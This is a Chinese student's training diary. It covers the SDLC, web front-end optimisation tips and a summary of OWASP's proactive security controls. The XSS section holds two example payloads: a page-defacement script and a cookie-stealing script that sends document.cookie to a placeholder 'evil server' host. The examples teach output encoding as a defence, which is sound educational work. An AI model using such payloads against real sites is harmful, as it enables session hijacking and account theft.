第一天 (6.26)
从国哥那里得到了最终项目的要求和相关资料
SDLC（Software Development Life Cycle），即软件生命周期，软件生存周期，是软件的产生直到报废的生命周期，周期内有问题定义、可行性分析、总体描述、系统设计、编码、调试和测试、验收与运行、维护升级到废弃等阶段，这种按时间分程的思想方法是软件工程中的一种思想原则，即按部就班、逐步推进，每个阶段都要有定义、工作、审查、形成文档以供交流或备查，以提高软件的质量。但随着新的面向对象的设计方法和技术的成熟，软件生命周期设计方法的指导意义正在逐步减少。
需求安全建议
第二天 (6.27)
写ELV需求文档 大创报销第一次书籍购买 Dying...
第三天 (6.14)
局部优化
基本块
基本块特点
基本块划分
要点
html优化
title标签
META元素
<meta name="keywords"content="">
<metaname="description"content="">
h标签
加强和强调
alt和title
<img src="test.jpg"alt="一个美女站在黄昏的街头默默等待爱人的回归，眼神中充满了忧伤"title="静待">
<a href="product.html"title="产品展示">产品展示</a>
缩写abbr
公司的产品涉及<abbr title="以石材为原料的雕刻作品">石雕</abbr>、<abbr title="以铜料为胚，运用雕刻、铸塑等手法制作的一种造型艺术">铜雕</abbr>、<abbr title="附属在某一平面上的雕刻艺术">浮雕</abbr>、镂雕等各种雕刻形式。
canonical标签
css优化
外链css
精简css
a.a_red{ color:#e00;}
a.a_blue{ color:#009;}
a.a_menu{ color:#fff; font-size:14px; font-weight:bold;}/*针对特殊a标签只指定特殊样式*/
整合css
压缩css
script优化
外链js代码
头部插入：<script>...</script>
外链调用：<SCRIPT language=javascript type=text/javascript src="jquery-1.7.2.min.js"></SCRIPT>
精简js代码
压缩js代码
置底js
优化禁忌
即使指标正确，也必须有一些辨别。在某些情况下，将最多的努力投入到运行消耗时间最多的那部分代码中，这是实用的策略。但也要记住，Unix/Linux内核的大部分时间花费在了空循环上。
需要注意的是，如果你轻易选择了一个很容易达到的指标，这作用不大，因为没有真正解决问题。你有必要选择一个更复杂的、更接近你的目标的指标。
举一个典型的例子，一个Web项目速度比较慢，开发者在优化时将大部分精力放在了数据库优化上，最终发现真正的问题是网络连接慢。
另外，不要分心于容易实现的问题。这些问题尽管很容易解决，但可能不是必要的，或与你的目标不相符。容易优化并不意味着值得你花费工夫。
尽管如此，高层次的优化也不是“银弹”。一些基本技术，如将所有东西移到循环语句外，也可以产生一些优化的效果。通常情况下，大量低层次的优化可以产生等同于一个高层次优化的效果。
还需要注意的是，高层次优化，会减少一些代码块，那么你之前对这些代码块所做的优化就没有任何意义了，因此，刚开始就应该考虑高层次的优化。
优化的一个有效的策略是，你要根据所做工作对优化效果的影响来进行排序。在开始工作之前找到影响最大的“路障”，然后再处理小的“路障”。
第四天 (6.15)
第五天 (6.16)
总结实训
技术经验总结: OWASP构建安全应用的十大控制措施
参数化查询
SQL注入是Web应用中最危险的漏洞之一，因为SQL注入较为容易被黑客探测到并且会给应用带来毁灭性的打击。只需在你的Web应用中注入一条简单的恶意SQL，你的整个数据库可能就会被窃取、擦除或者篡改。在运行数据库的主机上，甚至可以借助Web应用执行危险的操作系统命令。
为了防止SQL注入，开发人员必须阻止那些不可信任的输入，这些输入将会解析成为SQL命令的一部分。要实现这一点，最好的一种方式就是使用被称做查询参数化（Query Parameterization）的编程技术。
例如，在Java之中，查询参数化如下所示：
String newName = request.getParameter("newName");
String id = request.getParameter("id");
PreparedStatement pstmt = con.prepareStatement("UPDATE EMPLOYEES SET NAME = ? WHERE ID = ?");
pstmt.setString(1, newName);
pstmt.setString(2, id);
在PHP之中，查询参数化样例如下所示：
$email = $_REQUEST[‘email’];
$id’= $_REQUEST[‘id’];
$stmt = $dbh->prepare(”update users set email=:new_email where id=:user_id”);
$stmt->bindParam(':new_email', $email);
$stmt->bindParam(':user_id', $id);
对数据进行编码
编码（encoding）是一个很强大的工具，它有助于防范很多类型的攻击，尤其是注入攻击。本质上来讲，编码就是将特殊字符转换成对等的字符，但是转换后的字符对于目标解析器来说不再是敏感的。关于编码的一个样例就是防止跨站脚本攻击（XSS，Cross Site Scripting）。
Web开发人员经常会动态地构建Web页面，页面中包含开发人员构建的HTML/JavaScript代码以及数据库中的数据，而这些数据最初是由用户输入的。输入的数据应该被视为不可信任且危险的，在构建安全的Web应用时，需要对其进行特殊的处理。当攻击者欺骗你的用户执行恶意的JavaScript时，就会发生跨站脚本攻击或者更恰当地称之为JavaScript注入，这些JavaScript脚本最初是构建到Web站点中的，XSS攻击会在用户的浏览器中执行，因此会产生各种各样的影响。
例如，XSS站点涂改：
<script>document.body.innerHTML(“Jim was here”);</script>
XSS session窃取：
<script> var img = new Image(); img.src="hxxp://<some evil server>.com?” + document.cookie; </script>
持久化XSS（Persistent XSS）或存储XSS（Stored XSS）指的是XSS攻击嵌入到了站点的数据库或文件系统之中了。这种XSS更为危险，因为当攻击执行的时候，用户已经登录站点了。当将XSS攻击置于URL的结尾处时，会发生反射XSS（Reflected XSS），它会欺骗受害者访问该URL，当访问的时候攻击就会触发。
阻止XSS的关键编程技术就是输出编码，它会在输出的时候执行，如果你构建用户界面的话，也就是在将非信任的数据添加到HTML中的时候。能够阻止XSS的编码形式包括HTML实体编码、JavaScript编码以及百分号编码（也称为URL编码）。
校验所有的输入
编写安全应用时，很重要的一点就是将所有来自于应用外部的输入（如来自于浏览器或移动客户端，来自于外部系统或文件）均视为不可信任的。对于Web应用来说，这包括HTTP头、cookies以及GET和POST参数，总而言之也就是任何攻击者可以入侵的数据。
构建安全Web应用的一个重要方法就是限制用户能够提交到Web应用之中的输入。限制用户输入的技术称之为“输入校验”。在Web应用的服务器端，输入校验通常会用到正则表达式。
有两种输入校验，分别为“白名单”和“黑名单”校验。白名单试图定义好的输入是什么样子的，任何不匹配“好输入”定义的输入都会被拒绝。“黑名单”校验会试图探测已知的攻击，只会拒绝这些攻击和非法字符。黑名单校验更为困难，因为可以通过编码或其他伪装技术绕过，所以在构建安全Web应用时并不推荐使用。
但有些时候正则表达式是不够的，如果你的应用要处理markup，也就是不受信任的输入中会包含HTML片段，这样的话会很难进行校验，编码也是很困难的，因为编码的话会破坏输入中的标签。此时，会需要一个能够解析和清理HTML格式文本的库，如OWASP Java HTML Sanitizer。
实现适当的访问控制
授权（Authorization，Access Control）过程指的是请求要访问特定资源时，需要判断该请求是该准许还是拒绝。访问控制可能会非常复杂，在应用开发的初始阶段，需要考虑到一些“积极”的访问控制设计需求。在软件的安全设计中，访问控制是很重要的一块内容，因此事先需要进行充分考虑：
强制所有的请求都通过访问控制检查
大多数的框架和语言只会检查程序员指定的特性，但是与之相反的做法是更以安全为中心的。可以考虑使用过滤器或其他的自动化机制以保证所有的请求都要经历某种类型的访问控制检查。
- 默认拒绝
结合自动化的访问控制检查，需要考虑拒绝访问所有没有配置访问控制的特性。但是通常情况下会采取相反的做法，也就是新创建的特性会自动允许所有用户访问，直到开发人员为其配置了安全检查的功能。
在代码中，要避免硬编码基于策略的访问控制检查
通常情况下，访问控制策略是硬编码在应用之中的。这样的话，审计或证明软件的安全性会变得非常困难且耗时。如果可能的话，访问控制策略和应用代码应该分离开来。
- 针对活动编码
在大多数的Web框架中会将基于角色的访问控制作为主要方法。尽管在访问控制机制中，使用角色是可以接受的，但是在应用代码中针对特定的角色编码是一种反模式。在代码中要考虑用户是不是有权限访问某个特性，而不是检查用户具备什么样的角色。
驱动访问控制检查的是服务端的可信数据
在作出访问控制决策的时候，会涉及到很多的数据（登录的用户是谁、这个用户具备什么样的权限、访问控制策略是什么、请求的特性和数据是什么、时间是什么、地理位置是哪里），这些数据应该通过“服务器端”标准的Web或Web服务应用来获取。策略数据，如用户角色和访问控制规则决不能作为请求的一部分。在标准的Web应用中，访问控制唯一需要的客户端数据就是要访问数据的id。作出访问控制决策的大多数其他数据需要从服务器端获取。
建立识别和认证控制
认证过程指的是校验个人或实体是不是就是其所宣称的那个人。通常来讲，认证需要提交用户名或id，以及只有指定用户才能知道的一条或多条私人信息。
会话管理指的是服务器端要维护与之交互的实体的状态。这就需要服务器能够记住整个事务期间如何与后续的请求进行交互。在服务器端，会话通过一个会话标识符来进行维护。
识别管理是一个很广泛的话题，不仅仅包括认证和会话管理，还包括一些高级话题，如联合身份验证（identity federation）、单点登录、密码管理工具等等。
保护数据和隐私性
当传输敏感的数据时，不管是在应用或网络架构的哪一层，都需要考虑以某种方式进行传输加密。对于应用传输加密来讲，SSL/TLS是目前最常见和广泛支持的一种模型。
关于数据安全，很重要的一点在于要对系统中的数据进行分类，并确定哪些数据需要进行加密。 另外，还要保护正在处理中的数据，这些数据位于内存之中，可能更易于获取到。
实现日志和入侵探查
应用的日志不应该是事后才考虑的事情，也不应该局限于调试或解决问题，它应该在其他重要的事情上发挥作用。安全事件的日志与进程监控、审计或事务日志在采集的目的上往往是不一样的，因此通常会进行区分。日志不要记得太多也太能太少，需要记住的一点是不要记录私人或敏感数据。为了防止日志注入（Log Injection），在记录前要对非信任的数据进行校验或编码。
OWASP AppSensor项目定义了概念化的框架和方法论，通过规范化的指导为已有的应用实现侵入探测和自动化响应。
使用框架和安全库的安全特性
如果对于每个Web应用都从头开发安全控制功能的话，那会非常浪费时间并且会产生大量的安全漏洞。安全的代码库可以帮助开发人员注意安全相关功能的设计，并避免实现中漏洞。
如果可以的话，要尽可能使用框架已有的特性，而不是引入第三方库。可以考虑的Web应用安全框架包括：Spring Security和Apache Shiro。还有一点就是要及时更新这些框架和库。
将安全相关的需求考虑在内
在软件开发项目的初期，需要定义三类安全相关的需求：
安全特性和功能：系统中可见的安全控制，包括认证、访问控制以及审计功能。这些需求通常会包含在用例或用户故事中，Q/A人员可以评估和测试功能的正确性。
业务逻辑的滥用场景（abuse cases）：业务逻辑通常是包含多个步骤、多个分支的工作流程，这些需求的用户故事或用例应该包含异常和失败的场景，并且包含在“滥用场景”下的需求。滥用场景描述了在遭到攻击者破坏时，一项功能该是什么样子的。考虑到失败和滥用场景会发现校验和错误处理中的弱点，从而提升应用的可靠性和安全性。
数据分类和隐私的需求：开发人员应当时刻注意系统中任何的私人和敏感数据，并确保它们是安全的。这会促使在系统中采用数据校验、访问控制、加密、审计以及日志控制等功能。
在设计和架构时，将安全考虑在内在进行系统的架构和设计时，有一些安全相关的因素需要进行考虑，包括： 了解你所拥有的工具：你所选择的语言和平台会产生技术相关的安全风险和考量因素，开发团队必须要有所理解并进行管理。 分层、信赖以及依赖：在安全的架构和设计中，另外一个很重要的部分就是分层和信赖。确定在客户端、Web层、业务逻辑层以及数据管理层要进行什么样的控制，以及不同系统间或同一个系统的不同部分之间，在什么地方建立信赖关系。信赖的边界确定了应该在什么地方进行认证、访问控制、数据校验和编码、加密以及日志记录。当对系统进行设计或设计变更时，要确保对信赖假设有充分的理解，并且这些假设是合法且一致的。 管理受攻击面：注意系统的受攻击面（attack surface），也就是攻击者可以攻入系统、获取数据的方式。当你增加受攻击面时，要进行风险评估。你是不是引入了新的API或改变了系统中具有较高安全风险的功能，或者只是为已有页面或文件添加一个新的域？
